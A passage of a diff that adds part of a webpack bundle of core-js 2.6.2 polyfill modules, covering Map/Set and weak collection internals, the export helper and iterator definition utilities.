+ });
+ redefineAll(C.prototype, {
+ // 23.1.3.1 Map.prototype.clear()
+ // 23.2.3.2 Set.prototype.clear()
+ clear: function clear() {
+ for (var that = validate(this, NAME), data = that._i, entry = that._f; entry; entry = entry.n) {
+ entry.r = true;
+ if (entry.p) entry.p = entry.p.n = undefined;
+ delete data[entry.i];
+ }
+ that._f = that._l = undefined;
+ that[SIZE] = 0;
+ },
+ // 23.1.3.3 Map.prototype.delete(key)
+ // 23.2.3.4 Set.prototype.delete(value)
+ 'delete': function (key) {
+ var that = validate(this, NAME);
+ var entry = getEntry(that, key);
+ if (entry) {
+ var next = entry.n;
+ var prev = entry.p;
+ delete that._i[entry.i];
+ entry.r = true;
+ if (prev) prev.n = next;
+ if (next) next.p = prev;
+ if (that._f == entry) that._f = next;
+ if (that._l == entry) that._l = prev;
+ that[SIZE]--;
+ } return !!entry;
+ },
+ // 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined)
+ // 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined)
+ forEach: function forEach(callbackfn /* , that = undefined */) {
+ validate(this, NAME);
+ var f = ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3);
+ var entry;
+ while (entry = entry ? entry.n : this._f) {
+ f(entry.v, entry.k, this);
+ // revert to the last existing entry
+ while (entry && entry.r) entry = entry.p;
+ }
+ },
+ // 23.1.3.7 Map.prototype.has(key)
+ // 23.2.3.7 Set.prototype.has(value)
+ has: function has(key) {
+ return !!getEntry(validate(this, NAME), key);
+ }
+ });
+ if (DESCRIPTORS) dP(C.prototype, 'size', {
+ get: function () {
+ return validate(this, NAME)[SIZE];
+ }
+ });
+ return C;
+ },
+ def: function (that, key, value) {
+ var entry = getEntry(that, key);
+ var prev, index;
+ // change existing entry
+ if (entry) {
+ entry.v = value;
+ // create new entry
+ } else {
+ that._l = entry = {
+ i: index = fastKey(key, true), // <- index
+ k: key, // <- key
+ v: value, // <- value
+ p: prev = that._l, // <- previous entry
+ n: undefined, // <- next entry
+ r: false // <- removed
+ };
+ if (!that._f) that._f = entry;
+ if (prev) prev.n = entry;
+ that[SIZE]++;
+ // add to index
+ if (index !== 'F') that._i[index] = entry;
+ } return that;
+ },
+ getEntry: getEntry,
+ setStrong: function (C, NAME, IS_MAP) {
+ // add .keys, .values, .entries, [@@iterator]
+ // 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11
+ $iterDefine(C, NAME, function (iterated, kind) {
+ this._t = validate(iterated, NAME); // target
+ this._k = kind; // kind
+ this._l = undefined; // previous
+ }, function () {
+ var that = this;
+ var kind = that._k;
+ var entry = that._l;
+ // revert to the last existing entry
+ while (entry && entry.r) entry = entry.p;
+ // get next entry
+ if (!that._t || !(that._l = entry = entry ? entry.n : that._t._f)) {
+ // or finish the iteration
+ that._t = undefined;
+ return step(1);
+ }
+ // return step by kind
+ if (kind == 'keys') return step(0, entry.k);
+ if (kind == 'values') return step(0, entry.v);
+ return step(0, [entry.k, entry.v]);
+ }, IS_MAP ? 'entries' : 'values', !IS_MAP, true);
+
+ // add [@@species], 23.1.2.2, 23.2.2.2
+ setSpecies(NAME);
+ }
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_collection-weak.js":
+/*!**********************************************************!*\
+ !*** ./node_modules/core-js/modules/_collection-weak.js ***!
+ \**********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js");
+var getWeak = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").getWeak;
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js");
+var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js");
+var createArrayMethod = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js");
+var $has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js");
+var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js");
+var arrayFind = createArrayMethod(5);
+var arrayFindIndex = createArrayMethod(6);
+var id = 0;
+
+// fallback for uncaught frozen keys
+var uncaughtFrozenStore = function (that) {
+ return that._l || (that._l = new UncaughtFrozenStore());
+};
+var UncaughtFrozenStore = function () {
+ this.a = [];
+};
+var findUncaughtFrozen = function (store, key) {
+ return arrayFind(store.a, function (it) {
+ return it[0] === key;
+ });
+};
+UncaughtFrozenStore.prototype = {
+ get: function (key) {
+ var entry = findUncaughtFrozen(this, key);
+ if (entry) return entry[1];
+ },
+ has: function (key) {
+ return !!findUncaughtFrozen(this, key);
+ },
+ set: function (key, value) {
+ var entry = findUncaughtFrozen(this, key);
+ if (entry) entry[1] = value;
+ else this.a.push([key, value]);
+ },
+ 'delete': function (key) {
+ var index = arrayFindIndex(this.a, function (it) {
+ return it[0] === key;
+ });
+ if (~index) this.a.splice(index, 1);
+ return !!~index;
+ }
+};
+
+module.exports = {
+ getConstructor: function (wrapper, NAME, IS_MAP, ADDER) {
+ var C = wrapper(function (that, iterable) {
+ anInstance(that, C, NAME, '_i');
+ that._t = NAME; // collection type
+ that._i = id++; // collection id
+ that._l = undefined; // leak store for uncaught frozen objects
+ if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that);
+ });
+ redefineAll(C.prototype, {
+ // 23.3.3.2 WeakMap.prototype.delete(key)
+ // 23.4.3.3 WeakSet.prototype.delete(value)
+ 'delete': function (key) {
+ if (!isObject(key)) return false;
+ var data = getWeak(key);
+ if (data === true) return uncaughtFrozenStore(validate(this, NAME))['delete'](key);
+ return data && $has(data, this._i) && delete data[this._i];
+ },
+ // 23.3.3.4 WeakMap.prototype.has(key)
+ // 23.4.3.4 WeakSet.prototype.has(value)
+ has: function has(key) {
+ if (!isObject(key)) return false;
+ var data = getWeak(key);
+ if (data === true) return uncaughtFrozenStore(validate(this, NAME)).has(key);
+ return data && $has(data, this._i);
+ }
+ });
+ return C;
+ },
+ def: function (that, key, value) {
+ var data = getWeak(anObject(key), true);
+ if (data === true) uncaughtFrozenStore(that).set(key, value);
+ else data[that._i] = value;
+ return that;
+ },
+ ufstore: uncaughtFrozenStore
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_collection.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_collection.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js");
+var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js");
+var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js");
+var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js");
+var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js");
+var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js");
+var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js");
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js");
+var $iterDetect = __webpack_require__(/*! ./_iter-detect */ "./node_modules/core-js/modules/_iter-detect.js");
+var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js");
+var inheritIfRequired = __webpack_require__(/*! ./_inherit-if-required */ "./node_modules/core-js/modules/_inherit-if-required.js");
+
+module.exports = function (NAME, wrapper, methods, common, IS_MAP, IS_WEAK) {
+ var Base = global[NAME];
+ var C = Base;
+ var ADDER = IS_MAP ? 'set' : 'add';
+ var proto = C && C.prototype;
+ var O = {};
+ var fixMethod = function (KEY) {
+ var fn = proto[KEY];
+ redefine(proto, KEY,
+ KEY == 'delete' ? function (a) {
+ return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
+ } : KEY == 'has' ? function has(a) {
+ return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
+ } : KEY == 'get' ? function get(a) {
+ return IS_WEAK && !isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a);
+ } : KEY == 'add' ? function add(a) { fn.call(this, a === 0 ? 0 : a); return this; }
+ : function set(a, b) { fn.call(this, a === 0 ? 0 : a, b); return this; }
+ );
+ };
+ if (typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function () {
+ new C().entries().next();
+ }))) {
+ // create collection constructor
+ C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER);
+ redefineAll(C.prototype, methods);
+ meta.NEED = true;
+ } else {
+ var instance = new C();
+ // early implementations not supports chaining
+ var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance;
+ // V8 ~ Chromium 40- weak-collections throws on primitives, but should return false
+ var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); });
+ // most early implementations doesn't supports iterables, most modern - not close it correctly
+ var ACCEPT_ITERABLES = $iterDetect(function (iter) { new C(iter); }); // eslint-disable-line no-new
+ // for early implementations -0 and +0 not the same
+ var BUGGY_ZERO = !IS_WEAK && fails(function () {
+ // V8 ~ Chromium 42- fails only with 5+ elements
+ var $instance = new C();
+ var index = 5;
+ while (index--) $instance[ADDER](index, index);
+ return !$instance.has(-0);
+ });
+ if (!ACCEPT_ITERABLES) {
+ C = wrapper(function (target, iterable) {
+ anInstance(target, C, NAME);
+ var that = inheritIfRequired(new Base(), target, C);
+ if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that);
+ return that;
+ });
+ C.prototype = proto;
+ proto.constructor = C;
+ }
+ if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) {
+ fixMethod('delete');
+ fixMethod('has');
+ IS_MAP && fixMethod('get');
+ }
+ if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER);
+ // weak collections should not contains .clear method
+ if (IS_WEAK && proto.clear) delete proto.clear;
+ }
+
+ setToStringTag(C, NAME);
+
+ O[NAME] = C;
+ $export($export.G + $export.W + $export.F * (C != Base), O);
+
+ if (!IS_WEAK) common.setStrong(C, NAME, IS_MAP);
+
+ return C;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_core.js":
+/*!***********************************************!*\
+ !*** ./node_modules/core-js/modules/_core.js ***!
+ \***********************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+var core = module.exports = { version: '2.6.2' };
+if (typeof __e == 'number') __e = core; // eslint-disable-line no-undef
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_ctx.js":
+/*!**********************************************!*\
+ !*** ./node_modules/core-js/modules/_ctx.js ***!
+ \**********************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// optional / simple context binding
+var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js");
+module.exports = function (fn, that, length) {
+ aFunction(fn);
+ if (that === undefined) return fn;
+ switch (length) {
+ case 1: return function (a) {
+ return fn.call(that, a);
+ };
+ case 2: return function (a, b) {
+ return fn.call(that, a, b);
+ };
+ case 3: return function (a, b, c) {
+ return fn.call(that, a, b, c);
+ };
+ }
+ return function (/* ...args */) {
+ return fn.apply(that, arguments);
+ };
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_defined.js":
+/*!**************************************************!*\
+ !*** ./node_modules/core-js/modules/_defined.js ***!
+ \**************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+// 7.2.1 RequireObjectCoercible(argument)
+module.exports = function (it) {
+ if (it == undefined) throw TypeError("Can't call method on " + it);
+ return it;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_descriptors.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_descriptors.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// Thank's IE8 for his funny defineProperty
+module.exports = !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () {
+ return Object.defineProperty({}, 'a', { get: function () { return 7; } }).a != 7;
+});
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_dom-create.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_dom-create.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+var document = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").document;
+// typeof document.createElement is 'object' in old IE
+var is = isObject(document) && isObject(document.createElement);
+module.exports = function (it) {
+ return is ? document.createElement(it) : {};
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_enum-bug-keys.js":
+/*!********************************************************!*\
+ !*** ./node_modules/core-js/modules/_enum-bug-keys.js ***!
+ \********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+// IE 8- don't enum bug keys
+module.exports = (
+ 'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf'
+).split(',');
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_export.js":
+/*!*************************************************!*\
+ !*** ./node_modules/core-js/modules/_export.js ***!
+ \*************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js");
+var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js");
+var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js");
+var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js");
+var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js");
+var PROTOTYPE = 'prototype';
+
+var $export = function (type, name, source) {
+ var IS_FORCED = type & $export.F;
+ var IS_GLOBAL = type & $export.G;
+ var IS_STATIC = type & $export.S;
+ var IS_PROTO = type & $export.P;
+ var IS_BIND = type & $export.B;
+ var target = IS_GLOBAL ? global : IS_STATIC ? global[name] || (global[name] = {}) : (global[name] || {})[PROTOTYPE];
+ var exports = IS_GLOBAL ? core : core[name] || (core[name] = {});
+ var expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {});
+ var key, own, out, exp;
+ if (IS_GLOBAL) source = name;
+ for (key in source) {
+ // contains in native
+ own = !IS_FORCED && target && target[key] !== undefined;
+ // export native or passed
+ out = (own ? target : source)[key];
+ // bind timers to global for call from export context
+ exp = IS_BIND && own ? ctx(out, global) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out;
+ // extend global
+ if (target) redefine(target, key, out, type & $export.U);
+ // export
+ if (exports[key] != out) hide(exports, key, exp);
+ if (IS_PROTO && expProto[key] != out) expProto[key] = out;
+ }
+};
+global.core = core;
+// type bitmap
+$export.F = 1; // forced
+$export.G = 2; // global
+$export.S = 4; // static
+$export.P = 8; // proto
+$export.B = 16; // bind
+$export.W = 32; // wrap
+$export.U = 64; // safe
+$export.R = 128; // real proto method for `library`
+module.exports = $export;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_fails.js":
+/*!************************************************!*\
+ !*** ./node_modules/core-js/modules/_fails.js ***!
+ \************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = function (exec) {
+ try {
+ return !!exec();
+ } catch (e) {
+ return true;
+ }
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_for-of.js":
+/*!*************************************************!*\
+ !*** ./node_modules/core-js/modules/_for-of.js ***!
+ \*************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js");
+var call = __webpack_require__(/*! ./_iter-call */ "./node_modules/core-js/modules/_iter-call.js");
+var isArrayIter = __webpack_require__(/*! ./_is-array-iter */ "./node_modules/core-js/modules/_is-array-iter.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js");
+var getIterFn = __webpack_require__(/*! ./core.get-iterator-method */ "./node_modules/core-js/modules/core.get-iterator-method.js");
+var BREAK = {};
+var RETURN = {};
+var exports = module.exports = function (iterable, entries, fn, that, ITERATOR) {
+ var iterFn = ITERATOR ? function () { return iterable; } : getIterFn(iterable);
+ var f = ctx(fn, that, entries ? 2 : 1);
+ var index = 0;
+ var length, step, iterator, result;
+ if (typeof iterFn != 'function') throw TypeError(iterable + ' is not iterable!');
+ // fast case for arrays with default iterator
+ if (isArrayIter(iterFn)) for (length = toLength(iterable.length); length > index; index++) {
+ result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]);
+ if (result === BREAK || result === RETURN) return result;
+ } else for (iterator = iterFn.call(iterable); !(step = iterator.next()).done;) {
+ result = call(iterator, f, step.value, entries);
+ if (result === BREAK || result === RETURN) return result;
+ }
+};
+exports.BREAK = BREAK;
+exports.RETURN = RETURN;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_global.js":
+/*!*************************************************!*\
+ !*** ./node_modules/core-js/modules/_global.js ***!
+ \*************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
+var global = module.exports = typeof window != 'undefined' && window.Math == Math
+ ? window : typeof self != 'undefined' && self.Math == Math ? self
+ // eslint-disable-next-line no-new-func
+ : Function('return this')();
+if (typeof __g == 'number') __g = global; // eslint-disable-line no-undef
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_has.js":
+/*!**********************************************!*\
+ !*** ./node_modules/core-js/modules/_has.js ***!
+ \**********************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+var hasOwnProperty = {}.hasOwnProperty;
+module.exports = function (it, key) {
+ return hasOwnProperty.call(it, key);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_hide.js":
+/*!***********************************************!*\
+ !*** ./node_modules/core-js/modules/_hide.js ***!
+ \***********************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js");
+var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js");
+module.exports = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? function (object, key, value) {
+ return dP.f(object, key, createDesc(1, value));
+} : function (object, key, value) {
+ object[key] = value;
+ return object;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_html.js":
+/*!***********************************************!*\
+ !*** ./node_modules/core-js/modules/_html.js ***!
+ \***********************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var document = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").document;
+module.exports = document && document.documentElement;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_ie8-dom-define.js":
+/*!*********************************************************!*\
+ !*** ./node_modules/core-js/modules/_ie8-dom-define.js ***!
+ \*********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+module.exports = !__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () {
+ return Object.defineProperty(__webpack_require__(/*! ./_dom-create */ "./node_modules/core-js/modules/_dom-create.js")('div'), 'a', { get: function () { return 7; } }).a != 7;
+});
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_inherit-if-required.js":
+/*!**************************************************************!*\
+ !*** ./node_modules/core-js/modules/_inherit-if-required.js ***!
+ \**************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+var setPrototypeOf = __webpack_require__(/*! ./_set-proto */ "./node_modules/core-js/modules/_set-proto.js").set;
+module.exports = function (that, target, C) {
+ var S = target.constructor;
+ var P;
+ if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf) {
+ setPrototypeOf(that, P);
+ } return that;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_iobject.js":
+/*!**************************************************!*\
+ !*** ./node_modules/core-js/modules/_iobject.js ***!
+ \**************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// fallback for non-array-like ES3 and non-enumerable old V8 strings
+var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js");
+// eslint-disable-next-line no-prototype-builtins
+module.exports = Object('z').propertyIsEnumerable(0) ? Object : function (it) {
+ return cof(it) == 'String' ? it.split('') : Object(it);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_is-array-iter.js":
+/*!********************************************************!*\
+ !*** ./node_modules/core-js/modules/_is-array-iter.js ***!
+ \********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// check on default Array iterator
+var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js");
+var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator');
+var ArrayProto = Array.prototype;
+
+module.exports = function (it) {
+ return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_is-array.js":
+/*!***************************************************!*\
+ !*** ./node_modules/core-js/modules/_is-array.js ***!
+ \***************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 7.2.2 IsArray(argument)
+var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js");
+module.exports = Array.isArray || function isArray(arg) {
+ return cof(arg) == 'Array';
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_is-object.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_is-object.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = function (it) {
+ return typeof it === 'object' ? it !== null : typeof it === 'function';
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_iter-call.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_iter-call.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// call something on iterator step with safe closing on error
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+module.exports = function (iterator, fn, value, entries) {
+ try {
+ return entries ? fn(anObject(value)[0], value[1]) : fn(value);
+ // 7.4.6 IteratorClose(iterator, completion)
+ } catch (e) {
+ var ret = iterator['return'];
+ if (ret !== undefined) anObject(ret.call(iterator));
+ throw e;
+ }
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_iter-create.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_iter-create.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js");
+var descriptor = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js");
+var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js");
+var IteratorPrototype = {};
+
+// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()
+__webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")(IteratorPrototype, __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'), function () { return this; });
+
+module.exports = function (Constructor, NAME, next) {
+ Constructor.prototype = create(IteratorPrototype, { next: descriptor(1, next) });
+ setToStringTag(Constructor, NAME + ' Iterator');
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_iter-define.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_iter-define.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var LIBRARY = __webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js");
+var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js");
+var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js");
+var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js");
+var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js");
+var $iterCreate = __webpack_require__(/*! ./_iter-create */ "./node_modules/core-js/modules/_iter-create.js");
+var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js");
+var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js");
+var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator');
+var BUGGY = !([].keys && 'next' in [].keys()); // Safari has buggy iterators w/o `next`
+var FF_ITERATOR = '@@iterator';
+var KEYS = 'keys';
+var VALUES = 'values';
+
+var returnThis = function () { return this; };
+
+module.exports = function (Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED) {
+ $iterCreate(Constructor, NAME, next);
+ var getMethod = function (kind) {
+ if (!BUGGY && kind in proto) return proto[kind];
+ switch (kind) {
+ case KEYS: return function keys() { return new Constructor(this, kind); };
+ case VALUES: return function values() { return new Constructor(this, kind); };
+ } return function entries() { return new Constructor(this, kind); };
+ };
+ var TAG = NAME + ' Iterator';
+ var DEF_VALUES = DEFAULT == VALUES;
+ var VALUES_BUG = false;
+ var proto = Base.prototype;
+ var $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT];
+ var $default = $native || getMethod(DEFAULT);
+ var $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined;
+ var $anyNative = NAME == 'Array' ? proto.entries || $native : $native;
+ var methods, key, IteratorPrototype;
+ // Fix native
+ if ($anyNative) {
+ IteratorPrototype = getPrototypeOf($anyNative.call(new Base()));
+ if (IteratorPrototype !== Object.prototype && IteratorPrototype.next) {
+ // Set @@toStringTag to native iterators
+ setToStringTag(IteratorPrototype, TAG, true);
+ // fix for some old engines
+ if (!LIBRARY && typeof IteratorPrototype[ITERATOR] != 'function') hide(IteratorPrototype, ITERATOR, returnThis);
+ }
+ }
+ // fix Array#{values, @@iterator}.name in V8 / FF
+ if (DEF_VALUES && $native && $native.name !== VALUES) {
+ VALUES_BUG = true;
+ $default = function values() { return $native.call(this); };
+ }
+ // Define iterator
+ if ((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])) {
+ hide(proto, ITERATOR, $default);
+ }
+ // Plug for library
+ Iterators[NAME] = $default;
+ Iterators[TAG] = returnThis;
+ if (DEFAULT) {
+ methods = {
+ values: DEF_VALUES ? $default : getMethod(VALUES),
+ keys: IS_SET ? $default : getMethod(KEYS),
+ entries: $entries
+ };
+ if (FORCED) for (key in methods) {
+ if (!(key in proto)) redefine(proto, key, methods[key]);
+ } else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods);
+ }
+ return methods;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_iter-detect.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_iter-detect.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator');
+var SAFE_CLOSING = false;
+
+try {
+ var riter = [7][ITERATOR]();
+ riter['return'] = function () { SAFE_CLOSING = true; };
+ // eslint-disable-next-line no-throw-literal
+ Array.from(riter, function () { throw 2; });
+} catch (e) { /* empty */ }
+
+module.exports = function (exec, skipClosing) {
+ if (!skipClosing && !SAFE_CLOSING) return false;
+ var safe = false;
+ try {
+ var arr = [7];
+ var iter = arr[ITERATOR]();
+ iter.next = function () { return { done: safe = true }; };
+ arr[ITERATOR] = function () { return iter; };
+ exec(arr);
+ } catch (e) { /* empty */ }
+ return safe;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_iter-step.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_iter-step.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = function (done, value) {
+ return { value: value, done: !!done };
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_iterators.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_iterators.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = {};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_library.js":
